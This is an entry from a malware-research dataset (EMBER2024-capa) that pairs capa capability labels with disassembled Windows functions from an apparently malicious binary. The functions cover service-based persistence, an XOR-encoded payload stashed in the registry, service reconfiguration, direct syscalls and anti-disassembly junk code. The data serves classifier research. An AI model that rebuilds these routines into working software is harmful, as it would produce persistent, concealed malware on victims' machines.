joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429552
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x448008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
mov dword [ebp - 0x438], eax
push ebx
push 0x8000080
push 3
push ebx
push ebx
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x43c], eax
cmp eax, 0xffffffff
je 0x429752
push ebx
lea ecx, [ebp - 0x430]
mov byte [ebp - 0x404], bl
push ecx
push 0x400
lea ecx, [ebp - 0x404]
mov dword [ebp - 0x430], ebx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x429746
mov eax, dword [ebp - 0x430]
lea edx, [ebp - 0x404]
mov ecx, edx
lea eax, [ebp + eax - 0x405]
mov dword [ebp - 0x434], eax
mov byte [eax], bl
cmp ecx, eax
jae 0x4295f0
cmp byte [edx], 0xa
je 0x4295f0
inc edx
cmp edx, eax
jb 0x4295e6
push esi
mov cl, bl
inc edx
push edi
mov dword [ebp - 0x42c], ecx
lea edi, [ebp - 0x428]
mov esi, ebx
cmp edx, eax
jae 0x42968d
mov al, byte [edx]
cmp al, 0xa
je 0x42963c
cmp al, 0x30
jl 0x429619
cmp al, 0x39
jle 0x429636
cmp al, 0x2e
movzx ecx, cl
mov dword [ebp - 0x42c], 1
cmove ecx, dword [ebp - 0x42c]
inc edx
mov al, byte [edx]
cmp al, 0xa
jne 0x429611
mov dword [ebp - 0x42c], ecx
test cl, cl
jne 0x429647
inc edx
dec esi
sub edi, 4
jmp 0x42967a
mov al, byte [edx]
cmp al, 0xa
je 0x42968d
movsx eax, al
sub eax, 0x30
inc edx
mov dword [edi], eax
mov al, byte [edx]
cmp al, 0x30
jl 0x42967a
cmp al, 0x39
jg 0x429674
imul ecx, dword [edi], 0xa
movsx eax, al
add eax, 0xffffffd0
add eax, ecx
inc edx
mov dword [edi], eax
mov al, byte [edx]
cmp al, 0x30
jge 0x42965c
mov ecx, dword [ebp - 0x42c]
mov eax, dword [ebp - 0x434]
inc esi
add edi, 4
cmp esi, 9
jb 0x429603
mov ecx, ebx
cmp esi, 9
jne 0x429744
mov eax, dword [ebp - 0x410]
cmp eax, 0x18
jae 0x429744
cmp dword [ebp - 0x40c], 0x3c
jae 0x429744
cmp dword [ebp - 0x408], 0x3c
jae 0x429744
mov edx, dword [ebp - 0x41c]
mov esi, dword [ebp - 0x414]
imul eax, eax, 0x3c
add eax, dword [ebp - 0x40c]
imul edi, eax, 0x3c
add edi, dword [ebp - 0x408]
cmp edx, esi
jbe 0x4296fe
lea eax, [edx - 0x7d4]
cmp eax, 0x2e
ja 0x429717
imul eax, edx, 0x64
add eax, dword [ebp - 0x418]
imul ecx, eax, 0x64
add ecx, esi
jmp 0x429717
lea eax, [esi - 0x7d4]
cmp eax, 0x2e
ja 0x429717
imul eax, esi, 0x64
add eax, edx
imul ecx, eax, 0x64
add ecx, dword [ebp - 0x418]
test edi, edi
je 0x429744
mov eax, dword [ebp - 0x428]
mov edx, dword [ebp - 0x438]
shl eax, 8
or eax, dword [ebp - 0x424]
shl eax, 0x10
or eax, dword [ebp - 0x420]
push 3
mov dword [edx], eax
mov dword [edx + 4], ecx
mov dword [edx + 8], edi
pop ebx
pop edi
pop esi
push dword [ebp - 0x43c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0042a623
mov esp, ebp
pop ebp
ret
Function at 0x42996d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x4299b6
xor ebx, ebx
push ebx
push 0x8000080
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4299b6
push ebx
lea eax, [ebp - 4]
push eax
push dword [esi]
lea ecx, [esi + 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4299b8
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x429a26
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov eax, dword [0x448008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x810]
mov esi, ecx
push eax
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
test eax, eax
je 0x429aa7
cmp eax, 0x800
ja 0x429aa7
lea ecx, [ebp - 0x804]
push ecx
push eax
push 0
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x429aa7
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x80c]
push eax
push 0x4452a8
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x429aa7
cmp dword [ebp - 0x808], 0
je 0x429aa7
mov ecx, dword [ebp - 0x80c]
xor eax, eax
mov edx, dword [ecx + 8]
or eax, dword [ecx + 0xc]
jmp 0x429aab
xor eax, eax
xor edx, edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042a623
mov esp, ebp
pop ebp
ret
Function at 0x429d51
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
push 0x104
mov edi, str.C:Temp
xor ebx, ebx
push edi
push ebx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [0x449aa3], bl
test esi, esi
jne 0x429dcf
mov esi, str.C:TempTempServiceName.exe
mov ecx, esi
cmp byte [str.C:Temp], bl
je 0x429d98
sub edi, esi
cmp ecx, 0x449893
jae 0x429d98
mov al, byte [edi + ecx]
mov byte [ecx], al
inc ecx
cmp byte [edi + ecx], bl
jne 0x429d85
lea eax, [ecx - 4]
mov byte [ecx], bl
mov edx, str.Service.exe
mov ecx, eax
mov bl, 0x53
sub edx, eax
mov byte [ecx], bl
inc ecx
mov bl, byte [edx + ecx]
test bl, bl
jne 0x429da8
xor ebx, ebx
mov byte [ecx], bl
jmp 0x429dc9
lea ecx, [eax - 1]
mov dl, byte [ecx]
cmp dl, 0x2f
je 0x429df9
cmp dl, 0x5c
je 0x429df9
mov eax, ecx
cmp eax, esi
ja 0x429db8
jmp 0x429df9
mov edx, esi
mov esi, str.C:TempTempServiceName.exe
push 0x449893
mov ecx, esi
call fcn.0040e8b2
jmp 0x429df5
lea ecx, [eax - 1]
mov dl, byte [ecx]
cmp dl, 0x2f
je 0x429df9
cmp dl, 0x5c
je 0x429df9
mov eax, ecx
cmp eax, esi
ja 0x429de4
mov cl, byte [eax]
mov esi, str.TempServiceName
mov edx, esi
test cl, cl
je 0x429e17
sub eax, esi
cmp cl, 0x2e
je 0x429e17
mov byte [edx], cl
inc edx
mov cl, byte [eax + edx]
test cl, cl
jne 0x429e08
mov byte [edx], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
test eax, eax
je 0x429e4e
mov dl, byte [eax]
xor ecx, ecx
inc ecx
cmp dl, byte [esi]
jne 0x429e46
test dl, dl
je 0x429e42
mov dl, byte [eax + 1]
cmp dl, byte [esi + 1]
jne 0x429e46
add eax, 2
add esi, 2
test dl, dl
jne 0x429e23
mov eax, ebx
jmp 0x429e4a
sbb eax, eax
or eax, ecx
test eax, eax
je 0x429e50
mov cl, bl
pop edi
pop esi
mov al, cl
pop ebx
ret

Function at 0x429e56
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x429e78
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x429eee
push ebx
push esi
push esi
push esi
push esi
push esi
push str.C:TempTempServiceName.exe
push 1
push 2
push 0x110
push 0x60000
mov eax, str.TempServiceName
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
test ebx, ebx
je 0x429edc
push esi
push 2
mov edx, 0xf01ff
lea ecx, [ebp - 0x14]
call fcn.00429bf2
pop ecx
pop ecx
push esi
push dword [ebp - 8]
push esi
push esi
push 0x404
push 2
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
lea ecx, [ebp - 0x14]
call fcn.00429bc1
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x429ee4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x429f2c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x448008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea ecx, [ebp - 0x104]
call fcn.00429ef4
lea eax, [ebp - 0x108]
xor edi, edi
push eax
push 1
push edi
lea eax, [ebp - 0x104]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x429fab
lea eax, [ebp - 0x10c]
push eax
push edi
push edi
push edi
push str.Core
push dword [ebp - 0x108]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x108]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x10c], 0x4000
jae 0x429fa9
xor al, al
jmp 0x429fae
test esi, esi
sete al
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0042a623
mov esp, ebp
pop ebp
ret

Function at 0x429fc1
Capabilities:
Encode data using xor
Query or enumerate registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x812c
call fcn.00439e70
mov eax, dword [0x448008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ecx, [ebp - 0x108]
call fcn.00429ef4
lea eax, [ebp - 0x8110]
xor ebx, ebx
push eax
push 1
push ebx
lea eax, [ebp - 0x108]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42a0f0
lea eax, [ebp - 0x810c]
mov edi, 0x8000
push eax
lea eax, [ebp - 0x8108]
mov dword [ebp - 0x810c], edi
push eax
push ebx
push ebx
push str.Core
push dword [ebp - 0x8110]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x8110]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x42a0f0
cmp dword [ebp - 0x810c], edi
jae 0x42a104
push 3
push 2
mov edx, 0xc01f01ff
lea ecx, [ebp - 0x8128]
call fcn.00429bf2
pop ecx
pop ecx
push ebx
push 0x80
push 2
lea eax, [ebp - 0x8128]
push eax
push ebx
push 0x40000000
push str.C:TempTempServiceName.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 0x8128]
mov esi, eax
call fcn.00429bc1
cmp esi, 0xffffffff
je 0x42a0e4
mov edx, dword [ebp - 0x810c]
mov ecx, ebx
lea edi, [edx - 1]
test edi, edi
je 0x42a0c6
mov al, byte [ebp + ecx - 0x8107]
xor byte [ebp + ecx - 0x8108], al
inc ecx
cmp ecx, edi
jb 0x42a0b3
push ebx
lea eax, [ebp - 0x8114]
push eax
push edx
lea eax, [ebp - 0x8108]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x42a106
push esi
push str.Service_build_error__s
push 2
push 8
push ebx
push ebx
call fcn.00420600
add esp, 0x18
test esi, esi
mov ecx, dword [ebp - 4]
sete al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042a623
mov esp, ebp
pop ebp
ret
Function at 0x42a11a
Capabilities:
Read file on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8124
call fcn.00439e70
mov eax, dword [0x448008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push str.C:TempTempServiceName.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x42a179
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Service_build_error__s
push 2
push 8
push ebx
push ebx
call fcn.00420600
add esp, 0x18
xor al, al
jmp 0x42a276
push ebx
lea eax, [ebp - 0x810c]
push eax
push 0x8000
lea eax, [ebp - 0x8108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
neg eax
push edi
sbb esi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 1
jne 0x42a259
mov ecx, dword [ebp - 0x810c]
cmp ecx, 0x8000
jae 0x42a259
jmp 0x42a1ca
mov al, byte [ebp + ecx - 0x8107]
xor byte [ebp + ecx - 0x8108], al
sub ecx, 1
jns 0x42a1bc
lea ecx, [ebp - 0x108]
call fcn.00429ef4
push 3
push 1
mov edx, 0xf003f
lea ecx, [ebp - 0x8124]
call fcn.00429bf2
pop ecx
pop ecx
push ebx
lea eax, [ebp - 0x8110]
push eax
lea eax, [ebp - 0x8124]
push eax
push 0x20006
push ebx
push ebx
push ebx
lea eax, [ebp - 0x108]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [ebp - 0x8124]
mov esi, eax
call fcn.00429bc1
test esi, esi
jne 0x42a25d
push dword [ebp - 0x810c]
lea eax, [ebp - 0x8108]
push eax
push 3
push ebx
push str.Core
push dword [ebp - 0x8110]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x8110]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x42a273
push esi
push str.Service_build_error__s
push 2
push 8
push ebx
push ebx
call fcn.00420600
add esp, 0x18
test esi, esi
sete al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042a623
mov esp, ebp
pop ebp
ret

Function at 0x42a37e
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov esi, edx
mov ebx, ecx
call fcn.0042a328
push 0x20
xor edi, edi
mov edx, ebx
push edi
mov ecx, 0x45f8c8
call fcn.00401206
push 0x20
push edi
mov edx, esi
mov ecx, 0x45f8b8
call fcn.00401206
push 0x20
push edi
push 0x3c
pop edx
mov ecx, 0x45f8a8
call fcn.00401206
add esp, 0x18
test bl, 3
je 0x42a3cd
call fcn.0042a287
push 2
push 1
lea ecx, [ebp - 0xc]
call fcn.00427b35
pop ecx
pop ecx
test eax, eax
jne 0x42a402
push edi
push edi
push edi
push edi
push edi
push edi
shr ebx, 1
push edi
not ebx
push 0xffffffffffffffff
and ebx, 1
or ebx, 2
push ebx
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x42a408
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0xc]
call fcn.00427b75
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40193b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push esi
xor esi, esi
call fcn.0040725f
push eax
call fcn.00407422
sub byte [esi + 0x435a80], 0x19
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x97
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 6
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
xor byte [esi + 0x435a80], 0xd7
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0xe1
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
xor byte [esi + 0x435a80], 5
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x8f
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0xb4
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
xor byte [esi + 0x435a80], 0x49
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 5
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 4
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x7e
pop ecx
call fcn.0040725f
push eax
call fcn.00407422
add byte [esi + 0x435a80], 0x65
inc esi
pop ecx
cmp esi, 0x23000
jb 0x401945
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401a5a
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ebp, [esi + 0x10]
mov edi, dword [ebp]
mov ebx, edi
xor ebx, 0x14d
mov dword [esp + 0x18], ebp
cmp dword [esi + 0x14], 0x10
jb 0x401a7d
mov esi, dword [esi]
shr edi, 2
push esi
push edi
push str._x_and__p
mov dword [esp + 0x20], edi
call fcn.004010d6
add esp, 0xc
test edi, edi
je 0x401ada
mov ebp, esi
push 4
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.0040a920
imul ecx, dword [esp + 0x1c], 0x5bd1e991
add esp, 0xc
imul ebx, ebx, 0x5bd1e991
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov dword [esp + 0x10], eax
sub edi, 1
jne 0x401a99
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov eax, dword [ebp]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x401b03
sub eax, 1
je 0x401af9
sub eax, 1
jne 0x401b11
movsx ecx, byte [esi + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [esi + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [esi + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e991
pop edi
pop esi
pop ebp
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
add esp, 0xc
ret
Function at 0x408b46
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x408b67
jl 0x408b5e
test edi, edi
jne 0x408b67
xor eax, eax
xor edx, edx
jmp 0x408c28
cmp dword [ebx + 0x38], 0
je 0x408b7c
push eax
push edi
push dword [ebp + 8]
call fcn.00408c2e
jmp 0x408c28
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x408bc3
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x408bc3
cmp eax, edi
jb 0x408b9d
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040a920
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x408bc9
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x408c1d
mov ecx, ebx
call fcn.004083ae
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x408c08
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0041119d
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x408c1d
jmp 0x408bdb
test edx, edx
je 0x408c1d
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0041119d
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40a709
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40a748
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40a748
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40a748
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40a748
cmp dword [ecx + 0x74], 0xe
jbe 0x40a748
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41687d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42a9fc
push 0x42a9f4
push str.FlsAlloc
push 0x1e
call fcn.004166aa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4168b1
push dword [ebp + 8]
mov ecx, esi
call dword [0x427150]
call esi
jmp 0x4168b7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4168fb
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42aa0c
push 0x42aa04
push str.FlsGetValue
push 0x20
call fcn.004166aa
mov esi, eax
add esp, 0x10
test esi, esi
je 0x416932
push dword [ebp + 8]
mov ecx, esi
call dword [0x427150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x419882
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004196f3

Function at 0x419c7c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040a870
mov eax, dword [0x435018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004184a8
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x419cbe
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x419e1a
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00425f30
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x459ae0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041ac73
mov ecx, dword [esi*4 + 0x459ae0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x419e13
cmp eax, dword [edi + ecx + 0x24]
jne 0x419e13
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419e13
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041ac73
add esp, 0x14
test edx, edx
jl 0x419e13
jg 0x419d89
test eax, eax
jb 0x419e13
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x419e13
jl 0x419da3
cmp dword [ebp - 0x1008], eax
ja 0x419e13
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x419dc1
test ebx, ebx
je 0x419dfa
cmp ecx, edi
jae 0x419dfa
mov al, byte [ecx]
cmp al, 0xd
jne 0x419ddb
lea eax, [edi - 1]
cmp ecx, eax
jae 0x419de7
cmp byte [ecx + 1], 0xa
jne 0x419de7
inc ecx
jmp 0x419de7
movzx eax, al
movsx eax, byte [eax + 0x4352b8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x419dc1
cmp edx, ebx
jne 0x419dc1
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x419e18
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00409a9f
leave
ret
Function at 0x40892a
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
and ecx, esi
call fcn.00408953
mov ecx, esi
sub esi, 0x1eb314bc
xor dword [ebx], eax
mov ecx, 0x84ccd379
inc ebx
cmp ebx, edx
jne fcn.0040892a
ret
Function at 0x409823
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
jmp 0x409829
stc
jb 0x40982d
add bh, 0x45
or byte [edi], cl
cdq
inc eax
add bl, ch
add dword [eax + ebp*8], esi
add byte [eax], al
add byte [ebx - 0x3cf9dbfc], al
jns 0x4097ce
mov dword [ebp + 8], 0x40990f
jmp 0x409837
call 0x40983c
add dword [esp], 6
ret
inc ebp
or cl, cl
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]

Function at 0x40f630
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
jmp 0x40f63c
jmp 0x40f63f
cmp dword [ebp + 8], 0
jge 0x40f662
jmp 0x40f64c
jmp 0x40f64f
clc
jae 0x40f653
mov esp, 0xfffffdb8
invalid
mov eax, 0xfffffffd
jmp 0x40f785
jmp 0x40f665
mov ebx, dword [0x4d6bdc]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
je 0x40f736
jmp 0x40f680
mov ebx, dword [0x4d6bdc]
add ebx, 4
mov dword [ebp - 4], ebx
jmp 0x40f68f
clc
jae 0x40f693
jnp 0x3bc4f2f5
mov ebx, dword [ebp - 4]
cmp dword [ebx], 6
push es
jne 0x40f6c8
jmp 0x40f6a2
mov ebx, dword [0x4d6bdc]
add ebx, 8
mov dword [ebp - 0xc], ebx
jmp 0x40f6b1
clc
jae 0x40f6b5
jnp 0x3bc4eb17
mov ebx, dword [ebp - 0xc]
cmp dword [ebx], 2
jne 0x40f6c8
add cl, byte [edi]
test dword [edi], eax
add byte [eax], al
add byte [eax + 1], bh
mov eax, 1
jmp 0x40f6ca
xor eax, eax
stc
jb 0x40f6ce
jne 0x2ac50693
test eax, eax
je 0x40f700
add byte [eax], al
add bl, ch
add dword [edi], ecx
jmp 0x40f6d9
jmp 0x40f6dc
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x40f6e9
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
stc
jb 0x40f704
invalid
stc
jb 0x40f708
jnp 0xc8cbff52
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
add byte [eax], al
clc
jae 0x40f73a
mov eax, 0x6bdc1d8b
dec ebp
add byte [ebx + 0x5d891cc3], al
cld
mov ebx, dword [0x4d6bdc]
add ebx, 0x1c
mov dword [ebp - 4], ebx
jmp 0x40f749
stc
jb 0x40f74d
or byte [ebx + 0x3b83fc5d], 0
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x40f76f
jmp 0x40f75c
jmp 0x40f75f
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
add al, 0
stc
jb 0x40f773
add dword [ecx + edi*8 + 0x72], esi
add dword [eax - 7], esi
je 0x40f76d
stc
jb 0x40f777
jo 0x40f771
stc
jb 0x40f77b
jge 0x40f734
mov eax, 0
add byte [eax], al
add byte [eax], al
jmp 0x40f785
mov esp, ebp
pop ebp
ret 4